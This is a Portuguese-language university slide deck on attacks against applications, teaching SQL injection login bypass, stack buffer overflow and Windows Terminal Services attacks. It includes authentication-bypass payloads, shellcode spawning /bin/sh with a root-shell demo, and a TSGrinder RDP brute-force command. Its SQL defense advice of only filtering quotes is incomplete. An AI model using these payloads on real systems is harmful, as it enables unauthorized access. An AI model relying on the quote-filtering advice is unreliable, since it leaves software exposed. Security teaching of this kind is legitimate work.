ataques à aplicações
DESCRIPTION
Ataques à Aplicações. Alunos: Claudyson Esquivel Estevan Alexandre M. R. Chaves Flávio Euripedes de Oliveira Hítalo Gonçalves Borges Pedro Henrique de Oliveira. Especialização em Segurança da Informação. Prof.: Márcio Aurélio R. Moreira. - PowerPoint PPT PresentationTRANSCRIPT
![Page 1: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/1.jpg)
Ataques à Aplicações
Alunos: Claudyson Esquivel Estevan Alexandre M. R. Chaves Flávio Euripedes de Oliveira Hítalo Gonçalves Borges Pedro Henrique de Oliveira
Prof.: Márcio Aurélio R. Moreira
Especialização em Segurança da Informação
![Page 2: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/2.jpg)
Será apresentado alguns tipos de ataques mais usados em aplicações hoje
SQL Injection Buffer Overflow Ataques à Terminal Service do Windows
Introdução
![Page 3: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/3.jpg)
Tipo de ataque no qual é inserido um código SQL.
Pode ser usado para ataques em sites ou em aplicações locais.
Grande número de serviços WEB hoje viabilizam o ataque.
Top 10 2007 lista este tipo de ataque em segundo lugar. http://www.owasp.org/index.php/Top_10_2007
SQL Injection
![Page 4: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/4.jpg)
Qualquer tipo de aplicação (WEB ou não) que possua um mínimo de segurança pede usuário e senha na tela de abertura (autenticação).
Normalmente essas aplicações utilizam um banco de dados (Oracle, DB2, Sql Server,etc) com uma tabela com usuario e senha.
Lógica do Ataque SQL Injection
![Page 5: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/5.jpg)
Instrução interna:select usuario, senha from Users where usuario=' & cUser &
' and senha=' & cSenha & '
Não existe nenhum problema com a instrução, funciona perfeito.
Lógica do Ataque SQL Injection
![Page 6: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/6.jpg)
Lógica do Ataque SQL Injection
Se digitarmos Flavio no usuário e UNIMINAS na senha a instrução SQL será a seguinte:select usuario, senha from Users where usuario=‘Flavio' and senha=‘UNIMINAS'
As aspas delimitam os valores recebidos pelas variáveis.
![Page 7: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/7.jpg)
Lógica do Ataque SQL Injection
Se de propósito digitarmos o seguinte no usuário e senha: ’ or ’1=1A instrução SQL ficará da seguinte maneira: select usuario, senha from Users where usuario=‘’or’1=1’ and senha=‘’or’1=1’
![Page 8: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/8.jpg)
Lógica do Ataque SQL Injection
Interpretando a instrução temos o seguinte:
Me retorne o usuário que seja igual a vazio (não existe nenhum) OU verdadeiro (opa.. verdadeiro é verdadeiro, então todos usuários são validos). O mesmo raciocínio vale para a senha .Provavelmente entraremos no sistema como o primeiro usuário da tabela.
![Page 9: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/9.jpg)
Lógica do Ataque SQL Injection
O pior é que quando o programador criou os usuários da tabela, provavelmente o primeiro usuário será ele próprio e ainda com privilégio de administrador.
![Page 10: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/10.jpg)
Lógica do Ataque SQL Injection
Outro caso é quando queremos entrar com o username de uma determinada pessoa.
Colocamos o nome do usuário e logo em seguida a instrução mágica anterior.
O SQL entenderá que deverá retornar o usuário informado e que tenha uma senha vazia ou verdadeira, ou seja ele irá ignorar a senha e apontará para o registro que o username é igual ao informado.
![Page 11: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/11.jpg)
Lógica do Ataque SQL Injection
Outro tipo de injeção SQL é quando não sabemos o nome do usuário mas sabemos que o site tem muitos cadastros.
Colocamos ’ or ’1=1 no usuário e chutamos uma senha como 123456, 123123,123321.
Num site com mais de 200 cadastros é 90% de certeza que alguém cadastrou uma senha destas.
![Page 12: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/12.jpg)
Lógica do Ataque SQL Injection
Outro forma de ataque seria usar os caracteres -- no final do campo:
Usuário: admin’--
Senha:xyz Você provavelmente conseguirá acesso como
admin, levando-se em conta que a maioria dos cadastros possuem o usuário admin.
O caractere -- especifica pro sql que daquele ponto em diante tudo é comentário.
![Page 13: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/13.jpg)
Lógica do Ataque SQL Injection
A instrução ficará dessa maneira:
Select * from usuarios where username=’admin’ -- ‘ and senha=’xyz’ “
A partir dos -- tudo virou comentário.
![Page 14: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/14.jpg)
Defesas deste tipo de ataque
A forma mais fácil de conter esse ataque seria tratar o caractere da aspa simples dentro dos campos de usuário e senha, não deixando ele estar contido nesses campos.
![Page 15: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/15.jpg)
Buffer Overflow
O que é o Buffer Overflow? O seu surgimento. Qual o intuito de ataques do tipo Buffer
Overflow?
![Page 16: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/16.jpg)
Como explorar o Buffer Overflow?#include <stdio.h>#include <string.h> main(int argc, char *argv[]){
char buffer[512];if(argc < 2){ printf("Programa bugado!!n"); printf("Uso: %s n",argv[0]);exit(0);}strcpy(buffer,argv[1]);printf("Voce digitou %s!!n",buffer);return 0;
}
Lógica do Ataque Buffer Overflow
![Page 17: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/17.jpg)
Lógica do Ataque Buffer Overflow
Como tirar proveito do Buffer Overflow O endereço de retorno. O overflow A inserção de shellcode. Elevação de privilégios na aplicação.
![Page 18: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/18.jpg)
Modelo usual de memória
DATA(Stack e Heap)
.BSS(Heap)
.TEXT
![Page 19: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/19.jpg)
Stack Overflow
Como se dá a utilização da pilha no sistema operacional?
Como funciona o Stack Overflow?
![Page 20: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/20.jpg)
Stack Overflow Exemplo de stack overflow#include <stdio.h>#include <string.h>char shellcode[ ] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";char large_string[128];int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i];strcpy(buffer, large_string);return 0;}
![Page 21: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/21.jpg)
Stack Overflow
/* Compilando */seg@uniminas:~$ gcc bof.cseg@uniminas:~$ suPassword:seg@uniminas:~# chown root.root a.outseg@uniminas:~# chmod u+s a.outseg@uniminas:~$ whoamisegseg@uniminas:~$ ./a.outsh-2.05$ whoamiroot
![Page 22: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/22.jpg)
Defesas de ataques do tipo Overflow
A melhor forma de evitar ataques do tipo buffer Overflow é um bom projeto estrutural da programação da aplicação, atentando-se a condições de testes e homologações em diferentes ambientes.
![Page 23: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/23.jpg)
Ataques em Terminal Service
![Page 24: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/24.jpg)
Características quanto ao uso e importância
a aplicações estão adotando o meio de Terminal para maior praticidade nos recursos de rede
poder de centralização e traçamento de perfis que os usuários podem ter
redudância e balanceamento, este serviço pode atender bem, na qual usando o próprio serviço de LB (Load Balanced) da Microsoft pode-se obter recursos nas aplicações
Thin Clients que pode facilitar nos investimentos em Hardware de estações
![Page 25: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/25.jpg)
Característica de Ataque ao TS
Exesso de conexões Brute Force (MITM RDP) Link com trafego além do normal Acesso de usuarios que não existem Senhas de conexões expiradas por erros Request Deny Of Service Cain & Abel (Também é possível realizar um
Main The Midle no RDP)
![Page 26: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/26.jpg)
Dados importante referente ao Request Deny Of Service
O xforce database da ISS aponta a vulnerabilidade Request Deny Of Service no Terminal Service de 16 de Julho de 2006, ela afeta inclusive windows server 2003 com SP1.
![Page 27: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/27.jpg)
Plantaformas Afetadas
Windows 2000 Server SP 4 Windows Server 2003 Any version Windows Server 2003 Itanium Windows Server 2003 SP1 Windows Server 2003 SP1 Windows Server 2003 x64 Edition Windows XP Pro x64 Edition Windows XP SP1 windows-rdp-dos (21407)
![Page 28: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/28.jpg)
![Page 29: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/29.jpg)
Usando o TSGrinder
Usage: tsgrinder.exe [options] server Options: -w dictionary file (default 'dict') -l 'leet' translation file -d domain name -u username (default 'administrator' -b banner flag -n number of simultaneous threads -D debug level (default 9, lower number is more output) Exemplo: tsgrinder.exe -w words -l leet -d workgroup -u administrator -b -n 2 10.1.1.1
![Page 30: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/30.jpg)
![Page 31: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/31.jpg)
Métodos para aperfeiçoar a Segurança
Existe uma ferramenta chamada 2x SecureRDP freeware que se propõe basicamente a controle de acesso, muito semelhante ao controle de MAC Address de um Access Point Wireless.
A técnica bem interessante é usar SSL para rodar o Terminal Service, garantindo processo de comunicação mais limpa e segurança.
http://www.microsoft.com/technet/prodtechnol/windowsserver2003/pt-br/library/ServerHelp/a92d8eb9-f53d-4e86-ac9b-29fd6146977b.mspx?mfr=true
Msgs de Logons Autorização por horários Determinação de acessos por políticas Solução futura com o Terminal Service Gateway no novo Windows
Server ( similar ao da citrix )
![Page 32: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/32.jpg)
Topologia mais robusta em SSL
![Page 33: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/33.jpg)
![Page 34: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/34.jpg)
![Page 35: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/35.jpg)
![Page 36: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/36.jpg)
![Page 37: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/37.jpg)
![Page 38: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/38.jpg)
Modelo de TS com o novo Windows Server
![Page 39: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/39.jpg)
![Page 40: Ataques à Aplicações](https://reader036.vdocuments.site/reader036/viewer/2022062321/56813679550346895d9e0836/html5/thumbnails/40.jpg)